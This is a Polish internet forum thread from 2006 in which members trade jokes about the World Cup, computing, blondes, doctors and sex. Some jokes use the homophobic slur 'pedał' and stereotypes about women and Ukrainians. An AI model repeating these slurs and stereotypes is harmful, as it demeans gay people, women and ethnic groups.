>> - Dżokej - galopuje ostro "na jeźdźca" i zawsze chce być pierwszy
>>
>> - Alpinista - zawsze na górze
>>
>> - Nurek - ma wielkie ciśnienie, zwłaszcza jak jest głęboko
>>
>> - Muzyk - niezwykle sprawne palce, ale potrzebuje dyrygenta
>>
>> - Dostawca pizzy - jak nie dojdzie w 15 minut, to zimny
>>
>> - Kierowca ciężarówki - nie rusza się bez gumy
>>
>> - Pracownik Biura Podróży - nigdy nie może znaleźć właściwego miejsca
>>
>> - Polityk - kończy na obietnicach
>>
>> - Poliglota - "żeby język giętki zrobił więcej niż pomyśli głowa..."
>>
>> - Piłkarz - jak nie faul, to spalony, nigdy nie może trafić
>>
>> - Golfista - małe piłeczki, a upiera się żeby zaliczyć 18 dziurek
>>
>> - Pracownik Administracji - nigdy nie dochodzi na czas
>>
>> - Dealer samochodów - nieważne gdzie i komu, aby tylko wepchnąć

:alien:

Efraim Ryba - 09-06-2006, 13:54

PRZYGOTOWANIE KAWY
Przygotowanie kawy jest jak kochanie się z piękną kobietą .
Powinna byc gorąca. Nie wolno się spieszyć . Poruszam w niej...delikatnie i mocno. Na końcu dodaję mleko.

KŁADĄC WYK ŁADZINĘ
Kładzenie wykładziny jest... jak kochanie się z piękną kobietą .
Sprawdzam wymiary, rozkładam ją na podłodze, przyciskam, kładę się na niej i posuwając się do przodu i do tył u dociskam równomiernie.

TAPETOWANIE
Tapetowanie jest jak kochanie się z piękną kobietą. Rozkładam ją na stole, pokrywam klejem i przytykam jednocześnie gładząc dłońmi.
Następnie czyszczę swój pędzel, zapalam papierosa i podziwiam swoją robotę .

ROZBIJANIE NAMIOTU
Rozbijanie namiotu jest... jak kochanie się z piękną kobietą .
Rozkładam n podłożu, rozpinam drzwi, stawiam maszt i... wślizguję się do śpiwora.

MYJĄC SAMOCHÓD
Mycie samochodu bardzo przypomina kochanie się z piękną kobietą. Pieszczę karoserię. Dmucham miękko i delikatnie. Koncentruję na tym całą swą uwagę. Upewniam się , że gąbka jest mokra

kamcia - 10-06-2006, 22:57

Wiecie dlaczego mężczyznom podobają sie kobiety szczupłe z małymi tyłkami?

bo wtedy ich "interesy" wydaja sie większe!!! :lol:

z dedykacja dla wszystkich Panów ;-)







____________________________________________
zjawię się na zakrzówku pewnie 18.06!!!! pozdro dla TE_PE!

Aston - 11-06-2006, 00:22

:wave:

Nie koniecznie wszystkim i nie koniecznie z tego powodu! ;)

Pozdrawiam!

:wave: :wave:

CZACHO - 12-06-2006, 00:53

kamcia napisał/a:
bo wtedy ich "interesy" wydaja sie większe!!! :lol:


nah... to sa wzgledy estetyczne :)

Efraim Ryba - 13-06-2006, 11:05

Asiu, nie wiem jak Ci to powiedzieć...
Jesteś dla mnie jak kilo miedzi dla złomiarza, kocham Cię.


Oraz:

Spaceruje papież B16 po Oświęcimiu, pokazuje jakiś budynek towarzyszącym mu osobom i mówi:
- A tu chodziliśmy z kolegami na kremówki.

[ Dodano: Wto 13 Cze, 2006 ]
Raczej nie jestem fanem dowcipów o blondynkach, ale akurat ten w aktualnym kontekście politycznym nabiera całkiem nowego znaczenia ;) :

Po co blondynka ma wiekszy mózg od kaczki?
- Żeby nie chodziła po podwórku i srała.

Marcin_alien - 13-06-2006, 15:24

i jeszcze mundialowo ...

Polska wyszła z grupy i jest mecz z Brazylią. Przed samym meczem Brazylijczycy schodzą do szatni a tam okazuje się, że nie przygotowano dla nich koszulek, jest tylko jedna z nazwiskiem Ronaldino. Chwilę postali, pomyśleli, w końcu mówią: "Ronaldino, co zrobić, to idź sam, poradzisz sobie"
a reszta Brazylijczyków poszła do pubu na piwo.

Siedzą na tym piwie, po około 20 minutach postanowili sprawdzić co się dzieje na meczu, włączyli telewizor a tam 1:0 dla Brazylii. Zadowoleni, wyłączyli telewizor i dalej piją piwko. W 88 minucie - tuż przed końcem meczu, postanowili sprawdzić co się dzieje. Włączają, a tam.... 1:1 - bramkę strzelił Rasiak.

Zdziwili się bardzo, no ale trudno, mecz się skończył, idą po swojego kolegę i mówią do niego: "Ronaldino, co tak marnie - dałeś sobie strzelić bramkę?!"

Na co Ronaldino: "Chłopaki, to nie moja wina, dostałem czerwoną kartkę i od 46 minuty nie było mnie na boisku!"
------------------------------------------
Co trzeba zrobić gdy Polska wygra z Brazylią? Wyłączyć ... PlayStation.
:alien:

Kuba - 14-06-2006, 15:05

Poniżej cytuję jedno z pytań, które pojawiło się na egzaminie na wydziale chemii NUI Maynooth (National University of Ireland). Odpowiedź jednego ze studentów była na tyle wyjątkowa, że profesor podzielił się z nią ze swoimi kolegami, a później jej treść przedstawił w internecie.

Pytanie:
Czy piekło jest egzotermalne (oddaje ciepło) czy endotermalne (absorbuje ciepło)?


Większość odpowiedzi oparta była na prawie Boylesa, które mówi, że w stałej temperaturze objętość danej masy gazu jest odwrotnie proporcjonalna do jego ciśnienia.

Jeden ze studentów napisał tak:

Najpierw musimy stwierdzić, jak zmienia się masa piekła w czasie. Do tego potrzebna jest ocena liczby dusz, które idą do piekła i liczba dusz, która piekło opuszcza. Moim zdaniem można ze sporym prawdopodobieństwem przyjąć, że dusze, które raz trafiły do piekła, nigdy go nie opuszczają.
Na pytanie, ile dusz idzie do piekła, można spojrzeć z punktu widzenia wielu istniejących dzisiaj religii. Większość z nich zakłada, że do piekła idzie się wtedy, gdy nie wyznaje się tej właściwej wiary. Ponieważ religii jest więcej niż jedna i nie można wyznawać kilku religii jednocześnie, to można założyć, że wszystkie dusze idą do piekła.
Patrząc na częstotliwość narodzin i śmierci można założyć, że liczba dusz w piekle wzrastać będzie logarytmicznie.
Rozważmy więc pytanie o zmieniającej się objętości piekła. Ponieważ wg prawa Boylesa wraz ze wzrostem liczby dusz rozszerzać musi się powierzchnia piekła tak, aby temperatura i ciśnienie w piekle pozostaly stałe, to istnieją dwie możliwości:
1. Jeśli piekło rozszerza się wolniej niż liczba przychodzących do niego dusz, to temperatura i ciśnienie w piekle będą tak dlugo rosły aż piekło się rozpadnie.
2. Jeśli piekło rozszerza się szybciej niż liczba przychodzących tam dusz, to temperatura i ciśnienie w piekle będą spadać tak długo, aż piekło zamarznie.
Która z tych możliwości jest bardziej realna?
Jeśli weźmiemy pod uwagę przepowiednię Sandry, która powiedziała do mnie: "prędzej piekło zamarznie niż się z tobą prześpię", jak również to, że wczoraj z nią spałem, to możliwa jest tylko ta druga opcja. Dlatego też jestem przekonany, że piekło jest endotermalne i musi być już zamarznięte. Z uwagi na to, że piekło zamarzło, można wnioskować, że żadna kolejna dusza nie może trafić do piekła, a ponieważ pozostaje jeszcze tylko niebo, to dowodzi też istnienie Osoby Boskiej, co z kolei tlumaczy, dlaczego Sandra cały wczorajszy wieczór krzyczała "Oh, God".

Ten student otrzymał ocenę "bardzo dobry".

piotrm - 14-06-2006, 17:18

Marcin_alien napisał/a:
i jeszcze mundialowo ...


Nie chce cytowac calego dowcipu, ktory jest o dwa posty wyzej, ale ma on tez "okrutniejsza" wersje: mecz konczy wynikiem 2:0 dla Brazylii - druga bramke strzelil Rasiak...

Pozdrawiam

kamcia - 15-06-2006, 20:08

Po upojnej nocy Czerwony Kapturek niepewnie do wilka:
-Ty Wilk a ty masz Książeczkę zdrowia?
wilk:
-Pewnie że mam!! a co?
- A to, że teraz to ty se możesz ją PODZRZEĆ!!!




-------------------------------------------
Pozdrawiam! do zobaczenia na zakrzówku w niedziele!

malek - 15-06-2006, 23:25

Nowości z list przebojów: Rekordy sprzedaży w Mediamarkt bije grupa CD-RW z albumem 700MB
Chopin - 17-06-2006, 11:08

Kuba - rewelacyjna anegdotka :)
Efraim Ryba - 17-06-2006, 21:48

najkrótszy dowcip:
Polska gola!

oraz:
Wychodzi jezus z IPN, przystaje na chodniku i z niedowierzaniem kreci głową:
- A dwa tysiące lat myslałem że to Judasz...

Te_Pe - 18-06-2006, 20:36

Tak sobie dzisiaj wcześnie rano wyszedłem z psem na spacer
i (pod 'wpływem' przechodzących obok panów) uświadomiłem sobie
że Polska jest (na szczęście) krajem gdzie jak widzisz 2
kolesiów spacerujących z wózkiem dziecięcym...

to na pewno są to złomiarze

CZACHO - 19-06-2006, 00:51

Te_Pe napisał/a:
[...]to na pewno są to złomiarze


Do tego pasuje link http://wiadomosci.onet.pl/1340688,12,item.html ;->

A w temacie:

http://www.smog.pl/wideo/1287/parodia_reklamy/ ;->

[ Dodano: Sro 21 Cze, 2006 01:49 ]
Żona do męża: - Kochanie, a wiesz, że mamusia była wczoraj u tego
słynnego dentysty? - Taak? A co, kanały jadowe jej udrażniał?

http://www.smog.pl/wideo/...iak_w_mamy_cie/ :)

Spaniel - 21-06-2006, 08:37

Jeszcze mundialowo - zasłyszane:

Polska reprezentacja jest jak męskie jądra: bierze udział ale nie wchodzi !

Marcin_alien - 21-06-2006, 13:08

po-mundialowo:

Trwaja poszukiwania nowego napisu na autokar naszej reprezentacji

Oto propozycje:
-Tragiczni ale komiczni.
- My tylko przejazdem.
- 280 koni i 24 osły.
- Wystarczy duże białe ?L? na niebieskim tle.
- Ktokolwiek widział, ktokolwiek wie (i zdjęcie Janasa)
- Walczyliśmy jak nigdy. Przegraliśmy jak zawsze.
- Co się stało?
- Ułomni ale skromni.
- Jedziemy na Love Parade.
- Ciulaci ale skrzydlaci.
- Ukryci i przerażeni.
- Uwaga niebezpieczeństwo!
- Nie kopać leżących!
- Prawie jak drużyna.
- Szybcy i wściekli.
- Polakom gratulujemy autobusu.
- Którędy do wyjścia?
- Latający cyrk Pawła Janasa.
- Handel obwoźny - gipsowe krasnale.
- Komu punkty, komu? Bo jedziem do domu.
- Przewóz pracowników: Niemcy ===> Polska.
- Wyjście awaryjne.
- Nas nie dogoniat!
- Nam strzelać nie kazano.
- Poszukiwacze zaginionej bramki.
- Lasy Państwowe sp. z o.o.
- Obóz wędrowny.
- Drużyna Actimela.
- Mesjasze narodów.
- To jest miejsce na Twoją reklamę.
- Zjazd do zajezdni.
- Fundacja Jolanty Kwaśniewskiej 'Dzieci Niczyje'.
- Powered by PZPN.
- domowe przedszkole
- jaki sponsor taka gra - TP SA
- zaloga G

amalcz - 22-06-2006, 08:24

Spaniel napisał/a:
Jeszcze mundialowo - zasłyszane:

Polska reprezentacja jest jak męskie jądra: bierze udział ale nie wchodzi !


A pro po powyższego

Ja słyszałem, że Polska drużyna jest drużyną marzeń na mundialu.

Wszyscy marzą żeby z nami zagrać :20:

Efraim Ryba - 22-06-2006, 09:46

Blondynka i prawnik siedzą obok siebie w samolocie. Prawnik pyta blondynkę, czy nie zechciałaby zagrać z nim w ciekawą grę. Blondynka mówi, że jest zmęczona, odwraca się do okna i próbuje zasnąć. Ten jednak nalega i wyjaśnia, że "gra" jest bardzo prosta i wesoła. Mianowicie, będą zadawać sobie pytania i jeśli któreś nie zna odpowiedzi - płaci 5$. Blondynka ponownie odmawia i znów próbuje zasnąć, ale prawnik nie daje jej spokoju i proponuje inny układ - jeżli ona nie będzie znała odpowiedzi - płaci 5$, jeśli natomiast on nie będzie znał odpowiedzi - płaci 5000$. To przykuwa jej uwagę, poza tym i tak zdaje sobie sprawę, że on nie da jej spokoju, dopóki nie zagrają w tą grę, więc zgadza się. Prawnik zadaje pierwsze pytanie:
- Jaka jest odległość pomiędzy Ziemią a Księżycem?
Blondynka bez słowa sięga do portfela i wyjmuje banknot 5$.
- Ok - mówi prawnik. - Twoja kolej...
- Co to jest, wchodzi na górę na dwóch nogach, a schodzi na trzech?
Prawnik jest zaskoczony, wytęża umysł i nic, dzwoni do znajomych, wysyła maile, przeszukuje internet i nic. Po godzinie poddaje się i wypisuje czek na 5000$, ona przyjmuje, odwraca się i próbuje zasnąć. Prawnik jest jednak ciekaw odpowiedzi i pyta:
- Co to jest, co wchodzi na górę na dwóch nogach, a schodzi na trzech?
Blondynka odwraca się i wyciąga banknot 5$.

kamcia - 22-06-2006, 13:54

Droga Mamo!

Nareszcie koniec szkoły. Dla mnie już na zawsze. Jestem od dawna
zakochana i postanowiliśmy z moim chłopakiem wreszcie "się urwać". Wiem,
że Tobie się to nie spodoba ale on jest taki słodki! Te jego tatuaże i
piercing na każdym kawałku ciała...A ten jego motocykl! Ali ( tak nazywa
się mój miły) twierdzi, że jazda na nim w kasku to grzech. Ali jest
kompletnie na moim punkcie zwariowany. Mówi,że go uratowałam, bo ten
alkohol by go w końcu zabił...

Aha, i najważniejsze. Będziesz miała wnuka! Tak się cieszę! Kolega Alego
ma gdziś w lesie drewnianą chatkę. Trzeba ją wyremontować i nie ma w
niej światła ani wody ale to będzie nasz nowy dom. Nie martw się!
Bądziemy mieli z czego żyć. Ali ma kapitalny pomysł. Bądziemy uprawiać
marihuanę i sprzedawać ją w mieście. Ma być z tego kupa forsy. Tak się
cieszę! I nie martw się proszę. Wkrótce będę miała 14 lat i naprawdę
mogę na siebie sama uważać. Mam tylko nadzieję, że szybko pojawi się ta
szczepionka przeciwko AIDS. Alemu bardzo by to pomogło...

Twoja ukochana córeczka.

P.S.
Wszystko bzdura! Jestem u Krychy i oglądamy telewizję. Chciałam Ci
tylko uświadomić, że są gorsze rzeczy niż to świadectwo, które
znajdziesz na nocnym stoliku.


pozdrowionka w niedziele znowu nurek na zakrzówku!
[/u]

malek - 23-06-2006, 09:34

Straż Pożarna. Dzwoni telefon.
Dyżurny:
- Słucham?
- W zeszłym roku posadziłem sobie konopie indyjskie. Wyrosły takie jakieś cherlawe, żadnego spida nie dają...
- Dokąd dzwonisz, palancie! - denerwuje się dyżurny. Dzwoń na policję do sekcji narkotyków - tam Ci pomogą.
I odkłada słuchawkę. Po dziesięciu minutach znowu rozlega się dzwonek telefonu:
- A jak w tym roku posadziłem, to wyrosła taka dorodna i tak w łeb daje, że nawet pojęcia nie masz!!!
- Już Ci mówiłem palancie! Dzwoń na policję!
I znowu rzucił dyżurny słuchawkę na widełki. Po pół godzinie znowu telefon:
- Sam jesteś palant! Nie odkładaj słuchawki... Dzwonię... bo u sąsiada chałupa się pali...
A jak przyjedziecie, zaczniecie biegać z tymi swoimi wężami... patrzcie pod nogi... nie zadepczcie...

---------OooO---------


Trzy ciała leżą w kostnicy, wszystkie są uśmiechnięte. Koroner wyjaśnia inspektorowi przyczyny i okoliczności każdego zgonu.
Pierwsze ciało: Warszawiak, 60 lat, zmarły na zawał serca, podczas uprawiania seksu ze swoją kochanką. To tłumaczy ten jego nienaturalny uśmiech.
Drugie ciało: Poznaniak, 25 lat, wygrał kilka milionów na loterii, zmarł na skutek przepicia, co tłumaczy jego uśmiechniętą facjatę.
- A co z trzecim ciałem? - pyta inspektor.
- A to jeden z najciekawszych przypadków, kobieta ze wsi, z okolic Bydgoszczy, lat 30, porażona piorunem.
- Skąd więc te uśmiech na jej twarzy?
- Myślała, że jej robią zdjęcie...

Anja - 23-06-2006, 10:56

Historyjka z morałem do wysyłania mailem

Pewien bezrobotny starał się o stanowisko sprzątacza w Microsofcie. Dyrektor
personelu przyjmuje go i każe zaliczyć test na zamiatanie podłogi, po czym
stwierdza:
- Jesteś przyjęty, daj mi twój email, wyślę Ci formularz do wypełnienia,
oraz datę i godzinę, na która masz się stawić w pracy.
Zrozpaczony człowiek odpowiada:
- Nie mam komputera, ani tym bardziej e-maila...
Wtedy personalny mówi mu, że jest mu przykro, ale ponieważ nie ma e-maila,
więc wirtualnie nie istnieje, a ponieważ nie istnieje, więc nie może dostać
tej pracy.
Człowiek wychodzi przybity; w kieszeni ma tylko 10 $ i nie wie, co ma
zrobić...
Przechodzi koło supermarketu. Postanawia kupić dziesięciokilową skrzynkę
pomidorów. Potem chodząc od drzwi do drzwi sprzedaje cały towar po
kilogramie i w ciągu dwóch godzin podwaja swój kapitał. Powtarza tę
transakcję jeszcze trzy razy i wraca do domu z 60 $ w kieszeni. Uświadamia
sobie, że w ten sposób może z powodzeniem przeżyć. Wychodzi z domu coraz
wcześniej, wraca coraz później i tak każdego dnia pomnaża swój kapitał.
Wkrótce kupuje wóz, później ciężarówkę, a po jakimś czasie posiada całą
kolumnę samochodów dostawczych. Po pięciu latach mężczyzna jest właścicielem
jednej z największych sieci dystrybucyjnych w Stanach.
Postanawia zabezpieczyć przyszłość swojej rodziny i wykupuje polisę
ubezpieczeniową. Wzywa agenta ubezpieczeniowego, wybiera polisę i wtedy
agent prosi go o adres e-mail, aby mógł wysłać mu propozycję kontraktu.
Mężczyzna odpowiada mu wtedy, że nie ma e-maila.
- Ciekawe - mówi agent - nie ma pan e-maila, a zbudował pan to imperium?
Niech pan sobie wyobrazi, czego dokonałby, gdyby go pan miał!
Mężczyzna zamyślił się i odpowiada:
- Zamiatałbym w Microsofcie.
Morał nr 1 tej historii:
- Internet nie jest rozwiązaniem dla problemów twojego życia.
Morał nr 2 tej historii:
- Nawet, jeśli nie masz e-maila, a pracujesz wytrwale, możesz zostać
milionerem.
Morał nr 3 tej historii:
- Jeśli dostałeś tę historię przez e-maila, to znaczy, że
jesteś bliżej sprzątacza, niż milionera...

Miłego dnia!

P.S. Nie odpowiadaj na ta wiadomość. Poszedłem po pomidory...

Efraim Ryba - 23-06-2006, 12:56

Historia z forum onetu, jak młodzi ludzie czarną mszę odprawiali:

Raz my z ziomami z osiedla zrobili czarnom msze.

Buła mówił, że musi być ofiara z krwi. Buła sam jest ofiara, ale czasem jak se dłużej pomyśli to cuś wymyśli. No to żeśmy chcieli
najsampierw jamnika Kierdziałkowej złapać, bo na niego Belzebub wołała - znaczy szatan taki. Ale się bydle zaparło i wzionć nie
dało. Mało Bułe nie ugryzł, ale uciek. Buła znaczy uciek, nie pies.

No to szukali my kota, ale nas stary Kierdziałek z piwnicy pogonił. I jeszcze pretensje miał o psa sfojego durnowatego.
Tośmy się całkiem podłamali bo bez ofiary msza nieważna. Wtenczas Buła siadł do myślenia i zaś wymyślił i poszedł i żebe
przyniesł. To my się ucieszyli, zrobili ściepę na wino do tyj mszy. Potem poszli my do piwnicy jak Kierdziałkowski poszedł na II
zmianę i wzieli świeczkę z cmentarza.

Dali my żabe na skrzynkę, świeczke zajarali, wino otworzyli i Buła kazał wołać SZATAN! I żeby było zgodnie z czymśtam to trza było
666 razy zawołać, potem żabe rozpruć, na koniec wino wypić i już. No to my wołali a Buła liczył. Jak my doszli do 41 to żaba
zaczeła się rechotać, Buła dał jej w łeb żeby powaga na mszy była, świeczkę wywalił, po ciemku wino ktoś rozbił, rozkmina się o
wino zrobiła, zlazła na dół Kierdziałkowa i nas jamnikiem poszczuła i my poszli chodu.
I tyle.

Ale Buła mówi że się przyzywanie szatana i tak udało, bo jamnik durnowaty miał przecie na imię Belzebub...

I to by było na tyle.

Wasz Pastuch

tsharny - 23-06-2006, 13:06

Mecz Kolumbia v Jamajka zakończył się po 5 minutach......
Jamajczycy spalili cała trawę, a Kolumbijczycy wciagnęli wszystkie białe linie....

Marcin_alien - 23-06-2006, 13:10

> Rozmawia dwóch Ukrainców:
> - Wiesz jak w Polsce maja zajebiscie? Wstajesz rano. Zajebiste
> sniadanie...
> Potem sex, sex, sex do poludnia... Potem zajebisty obiad...
> Potem sex, sex, sex do wieczora... Potem zajebista kolacja...
> potem sex, sex, sex, a potem idziesz spac...
> - A byles tam? - pyta drugi.
> - Nie, siostra byla.
---------------------------------------------

|^^^^^^^^^^^^^^^||......|"\
| ZIMNE PIWKO.....||......||'""|""\__,_
| ______________ ||__..|I__|__I___ |)
|(@) |(@)"""**|(@)(@)********* |(@)
To jest samochód z browarem, przynoszacy szczescie.
Wyslij go do wszystkich znajomych,
a w wakacje szczescie bedzie lalo sie litrami

-------------------------------------------------

Przychodzi facet do lekarki i mówi:
- Pani doktor, mam dwie wiadomości, dobrą i złą.
Lekarka na to:
- Najpierw daj pan złą.
- Mam grzyba na prąciu.
- A dobra?
- Jest jadalny!
-----------------------------------------------------------
Ginekolog do pacjentki:
- Pani ma nadżerkę.
- A to świnia, mówił, że tylko poliże!

---------------------------------------------------------------------
Spotyka się dwóch pedałów:
- Co słychać?
- Zwolnili mnie z roboty.
- Gdzie tyrałeś?
- W banku spermy.
- A za co cię wywalili?
- Piłem w pracy.

kacperek2231 - 24-06-2006, 09:29

U nas było "Mamy Cię" a Japończycy bawią się tak....

http://www.youtube.com/watch?v=8gNsDp2N6yM


A na koniec afgański relaks na rybach.....

http://www.fazed.org/video/?id=279

Marcin_alien - 26-06-2006, 14:57

i znowu mundialowo ... tym razem o mczu trzech koron z niemcami:

"ile trzeba czasu na rozmontowanie szafy z IKEA?
- 12 minut" :20:

:alien:

Efraim Ryba - 27-06-2006, 11:42

jadę ostatnio autobusem.
miejsca zajęte, jakaś starsza kobitka stoi
Dwumetrowy paker z szerokim karkiem się poczuł, podszedł do niej i ją pod boczek prowadzi do siedzenia:
"babcia se p i e r d o l n i e"

[ Dodano: Wto 27 Cze, 2006 ]
Na bezludnej wyspie znalazł się facet, pies i świnia. No i mieszkali sobie tak razem przez rok, wreszcie facet odczuwając nieprzeparty zew natury
postanowił dobrać się do świni. Ale co się do niej zabierał, to pies go gryzie w dupę... Nic nie pomogło przekonywanie psa, że chyba lepiej ze świnią, jak
z psem... Aż pewnej nocy usłyszał facet krzyk kobiety. Przybiegł na plażę i w ostatniej chwili uratował całkiem, całkiem babeczkę.
Ona mówi:
- Ponieważ mnie uratowałeś, zrobię dla ciebie wszyyyyystko...
- Dobra, weź tego psa i idź z nim na spacer.

Spaniel - 27-06-2006, 23:12

mundialowo (nie to żebym sie czepiała - tak jakoś):

czym sie różni nasza reprezentacja od kapitana Haka?
kapitan Hak ma tylko jedna noge drewnianą.

Przyjechał... (nie chce podawac nazwisk, wstaw sobie dowolnego piłkarza z reprezentacji)
do domu, do żony (matki kochanki...).
Ta sie pyta
- a gdzie Ty byłes?
-na mundialu
-ale ta koszulka nawet nie pachnie...

Kuba - 29-06-2006, 12:31

zestawik informatyczny...


Nałogowcowi komputerowemu spadła na ulicy na głowe; cegła.
- Tetris - pomyslał nałogowiec komputerowy.
- Nałogowiec - pomyslała cegła.
- Level 2 - pomyslał Bóg.


Impreza . Wódka leje się szerokopasmowym strumieniem. Dwóch adminów pije bruderszafta:
- To co? Mówmy sobie po IP!


Prawdziwy student informatyki ma więcej jedzenia na klawiaturze niż w
lodówce.


Przychodzi Informatyk do lekarza:
- Panie Doktorze wątroba mi nawala...
- Dziwne, u mnie działa...


Komputerowiec podrywa dziewczynę:
- Chcesz herbaty?
- Nie.
- Kawy?
- Nie!
- Hm, może wódki?
- NIE!!!
- Dziwne, standardowe sterowniki nie pasują...


Ludzie dzielą się na tych, którzy robią backupy i na tych, którzy będą robili backupy.


Napis na grobie informatyka: "kowalski.zip"


- Ostatnie stadium znudzenia w pracy?
- Zaczynasz czytać spam.


#include<alkohol>
void main()
{
if matura == "zdana"
picie();
else
picie();
}


Jaka jest różnica między informatykiem 1 i 5 roku?
- informatyk 1 roku myśli, że 1 kB to 1000 B.
- informatyk 5 roku myśli, że kilometr to 1024 metry.


Na pracowniczy bal maskowy przyszli:
- sekretarka w masce kota,
- księgowa w masce królika,
- dyrektor w masce lwa,
- informatyk w masce 255.255.255.0.


- Co to jest patch?
Program usuwający drobne błędy w programie i dodający nowe.
- Co to jest upgrade?
Program usuwający poważniejsze błędy i dodający nowe, równie uciążliwe.
- Co to jest nowa wersja programu?
Jest to zmodyfikowany program zawierający błędy, których nie można było dodać przez patch lub upgrade.


- Dlaczego w Microsofcie nigdy nie napiszą wirusa?
- Bo zajmowałby 3 dyskietki.


Honorowy programista wiesza się razem ze swoim programem...


Jak guru unixowy uprawia seks?
- unzip; strip; touch; finger; mount; fsck; more; yes; umount; sleep;


Co jest najszybsze w 286?
- Wiatraczek.


Przychodzi administrator rano do pracy, siada do komputera, aby zobaczyć co się działo w nocy i śpiewa :
- Chcę oglądać twoje logi, logi, logi, logi.


Dzwoni klient do serwisu, odbiera obsługa:
- Używam Windows...
- Tak.
- No i komputer nie działa poprawnie.
- To już pan powiedział...


Wsiada informatyk do taksówki. Taksiarz pyta:
- Dokąd jedziemy?
- 192.168.4.1.


Oprogramowanie jest jak katedra.
- Budujesz, budujesz, budujesz, budujesz, a potem... już tylko się modlisz!


Na egzaminie na uczelnie o profilu informatycznym pytaja się nowego
kandydata jakie zna komendy jakiegoś języka programowania.
- Góra, dół, lewo, prawo i fajer...


Siedzi kilku informatyków na imprezie i cały czas nawijają o komputerach. W końcu jeden mówi:
- Słuchajcie, pogadajmy o czyms innym np. o dupach...
Nastąpiła chwila ciszy i konsternacja... jeden się odzywa:
- Moja karta graficzna jest do dupy...

malek - 29-06-2006, 15:29

Pytają w szkole ucznia gdzie pracuje ojciec.
- Tanczy na rurze w barze dla pedałów
Kolega poźniej pyta go:
- Czemu tak powiedziałeś, przecież Twoj tato jest piłkarzem?
- A co miałem sie przyznać, że gra w reprezentacji...???

Efraim Ryba - 02-07-2006, 17:58

Dzwoni księgowa do profesora Miodka i pyta:
- Przepraszam, czy zarachuje to poprawna forma?
A Miodek na to:
- Wie pani lepiej byłoby powiedzieć "panowie, proszę poczekać".

bann - 06-07-2006, 08:51

Synek do tatusia: - Tatusiu, zrób, żeby słoniki biegały.
Syneczku, słoniki są zmęczone.
Tatusiu, błagam, zrób, żeby słoniki biegały.
Syneczku, słoniki są naprawdę bardzo zmęczone. Cały dzień biegały na twoją prośbę.
Tatusiu proszę! Proszę ostatni raz.
No dobra, ale na dzisiaj ostatni raz, bo słoniki padną!
Kooompaniaaaaa! Maski włóż! 3 okrążenia dookoła poligonu!

[ Dodano: Czw 06 Lip, 2006 ]
=========

Żona do męża:
- Kochanie, jutro są urodziny mojej mamy. Co jej kupimy? Wiem, że chciałaby coś na prąd.
- Może krzesło?

Efraim Ryba - 06-07-2006, 10:35

Ogłoszenie:
Młody, przystojny, dobrze ubezpieczony pan z wykształceniem
wyższym i dobrymi manierami. Posiadam dwa najnowsze samochody,
rodzinną posiadłość i willę na Karaibach. Nie szukam nic, ani nikogo...
Chwalę się tylko...

bann - 06-07-2006, 11:10

Dwóch Anglików w średnim wieku gra w golfa. w pewnej chwili obok pola golfowego przechodzi kondukt żałobny. Jeden z grających odkłada kij i zdejmuje czapkę.
- Cóż to - dziwi się drugi - przerywa pan grę?
- Proszę mi wybaczyć, ale, bądź co bądź, byliśmy 25 lat małżeństwem.

tsharny - 06-07-2006, 15:02

Dzwoni tato do córki będącej na studiach zagranicznych.
- Cześć córeczko, co słychać?
- Zostałam prostytutką
- Co Jak mogłaś?...... Ty szmato, Ty k........, Ty taka i owaka...
- Ależ tato! - Ty wiesz ile ja mam teraz ciuchów? Mam czesne i studia
opłacone już do końca. Jeżdżę jaguarem.
Siostrę zapraszam do mnie na wakacje, a wam z mamą wykupiłam
miesięczne wczasy na Majorce i kupiłam Omegę - już tam czeka na Was...
- Czekaj, czekaj........ to mówisz, że kim zostałaś?
- Prostytutką
- Aaaaaaaa, to przepraszam. Bo ja zrozumiałem, że ..... protestantką.

bann - 06-07-2006, 16:32

Do tirówki podjeżdża auto. Przez okno wychyla się robotnik w pilotce
na głowie, kufajce i gumofilcach oraz z jabolem za pasem.
- Co zrobisz za 150? - pyta tirówkę.
- Wszystko - rezolutnie odpowiada profesjonalistka.
- To wsiadaj, będziemy murować!

==================

Jasio przychodzi do domu po szkole i skarży się mamie:
- Pan policjant, co stoi na rogu, powiedział, że mi nogi z dupy powyrywa!
- To jest niemożliwe - mówi mama. Policjanci są po to by cię chronić. Pokaż mi go to wyjaśnimy sprawę.
Idą na róg, policjant stoi.
Mama pokazuje na Jasia:
- Czy to prawda, że groził pan mojemu synowi, że mu Pan powyrywa nogi z dupy?!
- Pani! Zabierz pani stąd tego gnoja, bo mu nogi z dupy powyrywam! Już czwarty dzień z rzędu przyprowadza mi swoją suczkę jamniczkę i chce, żebym ją pokrył, bo marzy o tym, by mieć psa policyjnego!

amalcz - 07-07-2006, 10:37

Podczas, gdy żona przygotowywała mężowi jajka sadzone na śniadanie, mąż nagle wszedł do kuchni i mówi do niej:
- ostrożnie...OSTROŻNIE! Dodaj trochę masła! O Mój Boże! Gotujesz za wiele na raz. ZA DUŻO! Przewróć je! PRZEWRÓĆ JE TERAZ! Potrzeba więcej masła! O Mój Boże! Gdzie znajdziemy teraz więcej masła! Zaraz się przypalą!
Ostrożnie! OSTROŻNIE! Powiedziałem OSTROŻNIE! TY NIGDY mnie nie słuchasz, jak gotujesz! Nigdy! Przewróć je! Pośpiesz się! Oszalałaś! Zwariowałaś! Nie zapomnij je posolić! Wiesz, że zawsze zapominasz je posolić! Posól je!
POSOL! SÓL!
Żona wytrzeszczając na niego oczy mówi:
- Co, do licha z tobą? Sądzisz, że ja nie wiem jak się robi jajka sadzone?
Mąż spokojnie odpowiada:
- Nie, tylko chciałem ci pokazać jak to wygląda, gdy ja prowadzę samochód...

bann - 07-07-2006, 11:59

W rodzinie urodziły się trojaczki...
Sąsiedzi pytają siedmioletniego braciszka nowo narodzonych:
- Jak się maluchy nazywają?
Ten, niezdecydowanie:
- O ile dobrze ojca przez telefon zrozumiałem - Nihu, Janie, Moje.

==============

II Wojna Światowa. Radzieckie sołdaty bezczeszczą niemiecki cmentarz. Skaczą sobie po nagrobkach czytając przy okazji kto tam leży:
- Albert Hess
- Bruno Schwarz
- Herman Guttman
- Edward von Klinkerhoffen
- Achtung Minen

Dive Trek - 13-07-2006, 19:01

Umarł facet i poszedł do nieba. Staje przed wejsciem a tam dwie olbrzymie bramy - przed jedna klebi sie tlum facetow nad nia napis: PANTOFLARZE.
przed druga stoi samotny czlowieczek, nad nim napis: PRAWDZIWI MEZCZYZNI.
Sw. Piotr podbiega radosny doo faceta i pyta: ah, wrezcie ktos sie tu pojawil! Skad sie tu wziales?
Na co facet: ja nie wiem, zona kazala mi tu stanac...

Spaniel - 13-07-2006, 20:30

